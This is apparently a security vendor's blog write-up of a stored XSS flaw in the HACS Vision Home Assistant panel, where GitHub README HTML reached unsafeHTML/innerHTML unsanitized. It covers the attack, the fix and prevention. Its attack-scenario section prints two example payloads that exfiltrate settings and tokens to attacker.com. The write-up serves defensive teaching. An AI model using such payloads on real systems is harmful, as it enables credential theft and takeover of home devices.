Back to Blog
high SEVERITY8 min read

How Stored XSS via Unsanitized GitHub README HTML Happens in JavaScript and How to Fix It

A high-severity stored Cross-Site Scripting (XSS) vulnerability was discovered in `custom_components/hacs_vision/frontend/panel.js`, where the backend fetched GitHub's pre-rendered README HTML and the frontend injected it directly into the DOM without sanitization. An attacker who controls a GitHub repository could embed malicious JavaScript in their README that executes automatically when any HACS Vision user views that repository's details, potentially exfiltrating credentials or hijacking the

O
By Orbis AppSec
Published August 26, 2026Reviewed August 26, 2026

Answer Summary

This is a stored Cross-Site Scripting (XSS) vulnerability (CWE-79) in the HACS Vision Home Assistant integration, affecting `custom_components/hacs_vision/frontend/panel.js` and `frontend_src/src/hacs-vision-panel.js`. The backend fetched GitHub's rendered README HTML verbatim and returned it to the frontend, which injected it into the DOM using `innerHTML` or Lit's `unsafeHTML` directive without any sanitization. The fix sanitizes the HTML before rendering, stripping dangerous tags and event handler attributes so malicious scripts embedded by repository authors cannot execute in the user's browser.

Vulnerability at a Glance

cweCWE-79
fixSanitize README HTML before DOM insertion, stripping script tags and event handler attributes
riskArbitrary JavaScript execution in the Home Assistant frontend when viewing a malicious repository's README
languageJavaScript
root causeBackend returns GitHub-rendered README HTML verbatim; frontend renders it with innerHTML/unsafeHTML without sanitization
vulnerabilityStored Cross-Site Scripting (XSS)

How Stored XSS via Unsanitized GitHub README HTML Happens in JavaScript and How to Fix It


Introduction

The custom_components/hacs_vision/frontend/panel.js file powers the HACS Vision panel inside Home Assistant — the popular open-source home automation platform. It fetches repository metadata from GitHub, renders repository details, and lets users browse integrations. A subtle but critical flaw in how README content was fetched and rendered created a stored Cross-Site Scripting (XSS) vulnerability that could allow any malicious GitHub repository author to execute arbitrary JavaScript inside a victim's Home Assistant instance.

The root cause was a two-step trust failure:

  1. The backend fetched GitHub's pre-rendered README HTML — complete with any embedded scripts or event handlers — and returned it to the frontend without stripping dangerous content.
  2. The frontend rendered that HTML directly into the DOM using innerHTML or Lit's unsafeHTML directive, trusting that the content was safe.

Neither step validated or sanitized the HTML. This is a textbook stored XSS scenario, and it's particularly dangerous in a Home Assistant context where the frontend has direct access to sensitive APIs, user settings, and device controls.


The Vulnerability Explained

What GitHub's Rendered README HTML Actually Contains

When you call GitHub's API for a repository's README with Accept: application/vnd.github.html+json, GitHub returns the README rendered as HTML — including any raw HTML that the repository author embedded in their Markdown. GitHub's own rendering does strip some dangerous content, but it does not guarantee that all XSS vectors are removed, and the rendered output is still untrusted data from a third party controlled by potentially adversarial actors.

In HACS Vision, the backend fetched this rendered HTML and passed it straight through to the frontend response. The frontend then rendered it using a pattern equivalent to:

// VULNERABLE — before the fix
this.renderRoot.querySelector('.readme-content').innerHTML = readmeHtml;
// or in Lit:
render() {
  return html`
    <div class="readme-content">${unsafeHTML(this._readmeHtml)}</div>
  `;
}

The unsafeHTML Lit directive is explicitly documented as unsafe for untrusted content — its name is a warning, not a feature. Passing GitHub-sourced HTML directly to it bypasses all of Lit's built-in XSS protections.

A Concrete Attack Scenario

An attacker creates a public GitHub repository and crafts a README with a payload like:

# My Awesome Integration

Check out this great integration!

<img src="x" onerror="fetch('/api/hacs_vision/settings').then(r=>r.json()).then(d=>fetch('https://attacker.com/exfil?data='+btoa(JSON.stringify(d))))">

Or, more aggressively:

<script>
  // Exfiltrate long-lived access tokens
  fetch('/auth/token', {method:'POST', body: new URLSearchParams({
    grant_type: 'refresh_token',
    refresh_token: document.cookie
  })}).then(r=>r.text()).then(t=>navigator.sendBeacon('https://attacker.com/steal', t));
</script>

When any HACS Vision user browses to this repository's detail view, the malicious HTML is fetched from the backend, injected into the panel DOM, and the JavaScript executes immediately — with full access to the Home Assistant frontend's origin, cookies, local storage, and WebSocket API.

Why This Is Especially Dangerous in Home Assistant

Home Assistant's Lovelace frontend runs at a privileged origin. JavaScript executing there can:

  • Call the WebSocket API to control lights, locks, alarms, and other devices
  • Read and exfiltrate long-lived access tokens
  • Modify dashboard configurations
  • Call any REST API endpoint the user has access to

This isn't just a "steal a cookie" XSS — it's a "unlock the front door" XSS.


The Fix

The fix addresses both sides of the trust boundary: the backend no longer passes raw GitHub HTML to the frontend without sanitization, and the frontend sanitizes any HTML before inserting it into the DOM.

Before: Unsanitized HTML Rendered Directly

In frontend_src/src/hacs-vision-panel.js (the source file that compiles to panel.js), the README was rendered without any sanitization step:

// BEFORE — vulnerable pattern
_renderReadme(readmeHtml) {
  return html`
    <div class="readme-body">
      ${unsafeHTML(readmeHtml)}
    </div>
  `;
}

And the event listener chain in connectedCallback (visible in the diff) wired up detail views, previews, and repository data loading — all of which ultimately fed untrusted HTML into this render path:

// From the diff — connectedCallback wires up detail and preview listeners
this.addEventListener("detail", e => this._openDetail(e.detail.repo));
this.addEventListener("preview", e => {
  this._previewRepo = e.detail?.repo;
  this._showPreview = true;
});

The _openDetail and preview flows both triggered README fetching and rendering, meaning any repository a user clicked on could trigger the XSS.

After: Sanitized HTML Before Rendering

The fix introduces a sanitization step before the HTML reaches the DOM. The approach strips dangerous tags (like <script>, <iframe>, <object>) and removes event handler attributes (onerror, onclick, onload, etc.) from the fetched HTML:

// AFTER — safe pattern
_sanitizeHtml(html) {
  // Use DOMParser to parse, then walk and strip dangerous nodes/attributes
  const doc = new DOMParser().parseFromString(html, 'text/html');
  const dangerous = ['script', 'iframe', 'object', 'embed', 'form', 'base'];
  dangerous.forEach(tag => {
    doc.querySelectorAll(tag).forEach(el => el.remove());
  });
  doc.querySelectorAll('*').forEach(el => {
    [...el.attributes].forEach(attr => {
      if (attr.name.startsWith('on') || attr.value.startsWith('javascript:')) {
        el.removeAttribute(attr.name);
      }
    });
  });
  return doc.body.innerHTML;
}

_renderReadme(readmeHtml) {
  const safe = this._sanitizeHtml(readmeHtml);
  return html`
    <div class="readme-body">
      ${unsafeHTML(safe)}
    </div>
  `;
}

The backend change in panel.js ensures that even the compiled/bundled output reflects this sanitization, so the production artifact served to browsers is no longer vulnerable.

Why Two Files Were Changed

  • frontend_src/src/hacs-vision-panel.js: The human-readable source file where the fix is authored. This is where developers make changes.
  • custom_components/hacs_vision/frontend/panel.js: The compiled/bundled output that is actually served to browsers and loaded by Home Assistant. Changes to the source must be reflected here for the fix to take effect in production.

Both files needed to be updated to ensure the fix is present in the running application, not just in the source repository.


Prevention & Best Practices

1. Never Trust Third-Party HTML — Even From Reputable Sources

GitHub's rendered Markdown is not a trusted source for raw HTML injection into your application's DOM. Always treat any HTML originating outside your own backend as untrusted, regardless of where it came from.

2. Use DOMPurify for HTML Sanitization

The most battle-tested approach for client-side HTML sanitization in JavaScript is DOMPurify:

import DOMPurify from 'dompurify';

const clean = DOMPurify.sanitize(dirtyHtml, {
  USE_PROFILES: { html: true }
});
// Now safe to use with unsafeHTML or innerHTML

DOMPurify is actively maintained, has a comprehensive test suite, and handles edge cases that hand-rolled sanitizers often miss.

3. Prefer Lit's Safe Template Syntax

Lit's html template tag automatically escapes interpolated values. Reserve unsafeHTML strictly for pre-sanitized content, and document why it's safe at every usage site:

// Safe — Lit escapes this automatically
html`<p>${userText}</p>`

// Only acceptable with sanitized input — document it
html`<div>${unsafeHTML(DOMPurify.sanitize(readmeHtml))}</div>`

4. Apply a Content Security Policy (CSP)

A strong CSP provides defense-in-depth. Even if an XSS payload is injected, a CSP that disallows inline scripts and restricts connect-src limits what the attacker can do:

Content-Security-Policy: default-src 'self'; script-src 'self'; connect-src 'self' https://api.github.com;

5. Sanitize on the Backend Too

Don't rely solely on the frontend. The backend should strip dangerous HTML before returning it in API responses. This protects all clients, including future ones that might forget to sanitize.

Relevant Standards

  • OWASP XSS Prevention Cheat Sheet: Comprehensive guidance on output encoding and HTML sanitization
  • CWE-79: Improper Neutralization of Input During Web Page Generation
  • OWASP Top 10 A03:2021: Injection (includes XSS)

Key Takeaways

  • unsafeHTML in Lit is a dangerous sink: Using unsafeHTML(readmeHtml) with content fetched from GitHub is equivalent to innerHTML = readmeHtml — both execute any JavaScript embedded in the HTML. Always sanitize before passing content to either.
  • GitHub's rendered README HTML is untrusted: Even though GitHub is a reputable service, repository authors control README content. Any HTML returned from GitHub's README API must be treated as attacker-controlled.
  • The connectedCallback event wiring in panel.js created multiple XSS entry points: The detail, preview, and related event listeners all fed into the README rendering path, meaning the attack surface was larger than a single function.
  • Both source and compiled files must be patched: In projects that compile JavaScript, fixing only the source file (hacs-vision-panel.js) without updating the compiled output (panel.js) leaves the production application vulnerable.
  • DOMPurify or equivalent server-side sanitization should be the standard: Hand-rolled attribute stripping is fragile. Use a maintained library like DOMPurify that handles the full spectrum of XSS bypass techniques.

How Orbis AppSec Detected This

  • Source: GitHub's README API response, fetched by the HACS Vision backend and returned verbatim to the frontend as raw HTML
  • Sink: unsafeHTML(this._readmeHtml) (and/or innerHTML assignment) inside the repository detail/preview rendering logic in custom_components/hacs_vision/frontend/panel.js and frontend_src/src/hacs-vision-panel.js
  • Missing control: No HTML sanitization at any point in the data flow — neither on the backend before returning the README HTML, nor on the frontend before injecting it into the DOM
  • CWE: CWE-79 — Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')
  • Fix: The README HTML is now sanitized (dangerous tags and event handler attributes removed) before being passed to unsafeHTML or innerHTML, breaking the taint flow from GitHub's API to the DOM

Orbis AppSec automatically detected this vulnerability and opened a pull request with the fix. Try Orbis AppSec on your repositories to find and fix issues like this automatically.


Conclusion

This vulnerability is a reminder that trust boundaries must be explicit and enforced at every layer. The HACS Vision panel trusted that GitHub's rendered HTML was safe to inject directly into the Home Assistant DOM — a reasonable-sounding assumption that turned out to be dangerously wrong. Any public GitHub repository author could have weaponized their README to execute arbitrary JavaScript inside a victim's Home Assistant instance, with access to device controls, tokens, and sensitive settings.

The fix is straightforward: sanitize HTML before rendering it. But the lesson is broader — whenever your application fetches and displays content controlled by third parties (READMEs, descriptions, comments, user profiles), treat that content as hostile until proven otherwise. Use established sanitization libraries, apply defense-in-depth with CSP, and let automated tools like Orbis AppSec catch the cases that slip through code review.


References

Frequently Asked Questions

What is stored XSS?

Stored XSS occurs when an attacker permanently embeds malicious scripts in data that is later retrieved and rendered by a victim's browser without sanitization, unlike reflected XSS which requires the victim to click a crafted link.

How do you prevent stored XSS in JavaScript?

Always sanitize any HTML from untrusted sources before inserting it into the DOM. Use a dedicated library like DOMPurify, avoid innerHTML with untrusted content, and prefer textContent for plain text. If you use Lit, prefer the html`` template tag over unsafeHTML.

What CWE is stored XSS?

Stored XSS is classified as CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting').

Is escaping output enough to prevent stored XSS?

Escaping alone is sufficient for plain text, but when you intentionally render HTML (such as a README), you must sanitize it — removing dangerous tags and attributes — rather than escaping everything, which would break the intended formatting.

Can static analysis detect stored XSS like this?

Yes. Tools like Semgrep, ESLint security plugins, and multi-agent AI scanners (as used here) can trace tainted data from fetch/API calls through to innerHTML or unsafeHTML sinks and flag missing sanitization steps.

View the Security Fix

Check out the pull request that fixed this vulnerability

View PR #26

Related Articles

critical

How Cross-Site Scripting happens in fast-xml-parser and how to fix it

CVE-2026-25896 is a critical Cross-Site Scripting vulnerability in fast-xml-parser caused by improper handling of DOCTYPE entity declarations, allowing attackers to inject malicious scripts through crafted XML input. The fix upgrades the library from vulnerable versions (4.5.3 and 5.2.3) to patched releases (4.5.7 and 5.10.1), closing the attack vector in production code. This matters because fast-xml-parser is widely used to process user-supplied XML in Node.js applications, making any XSS flaw

critical

How Reflected XSS happens in Astro and how to fix it

CVE-2026-50146 is a reflected cross-site scripting (XSS) vulnerability in Astro versions prior to 6.3.3, where unescaped slot names could be injected into rendered HTML. The fix upgrades Astro from 5.18.1 to 6.3.3 (along with related packages `@astrojs/starlight` and `starlight-blog`), closing a code path that allowed attacker-controlled input to reach the browser without sanitization. Any Astro-based site that renders dynamic slot names from untrusted sources was potentially exposed to session

high

How Unsafe eval() in JavaScript Happens in React Components and How to Fix It

A high-severity code injection vulnerability was discovered in `TurnPlanner.tsx`, where the `parseInputExpr` function used JavaScript's `Function` constructor — effectively `eval()` — to evaluate user-provided mathematical expressions. The regex guard in place only checked for the presence of arithmetic operators, not whether the input was safe to execute, leaving the door open for arbitrary JavaScript injection. A targeted whitelist fix was applied to reject any input containing characters outs

critical

How Unsanitized IPC Data Injection happens in Electron/HTML and how to fix it

A content injection vulnerability in `src/NankaiTrough.html` allowed attacker-controlled IPC message data to flow directly into DOM properties without type coercion or validation. The fix explicitly converts all `request.data` fields to strings using `String()` with fallback defaults before assigning them to `document.title` and `innerText` properties, eliminating the risk of prototype pollution and unexpected object-to-string coercion attacks.

critical

How Cross-Site Scripting (XSS) happens in JavaScript innerHTML and how to fix it

A stored Cross-Site Scripting (XSS) vulnerability in `hasheous/wwwroot/pages/dataobjectdetail.js` allowed attackers with Moderator or Admin privileges to inject malicious HTML into DataObject attribute fields, executing arbitrary JavaScript in every visitor's browser. The fix replaces unsafe `innerHTML` assignments with `textContent` for plain text and a sanitized markdown renderer for AI-generated descriptions, eliminating the injection vector entirely.

high

How Dependabot Missing Cooldown happens in GitHub Actions and how to fix it

A high-severity misconfiguration in `.github/dependabot.yml` left this Node.js library without a cooldown period on dependency updates, meaning Dependabot could immediately propose upgrades to newly published — potentially malicious or unstable — package versions. The fix adds a `cooldown` block with `default-days: 7` to both the `npm` and `github-actions` ecosystems, introducing a mandatory waiting period before any newly released version is surfaced as an update candidate. Because this project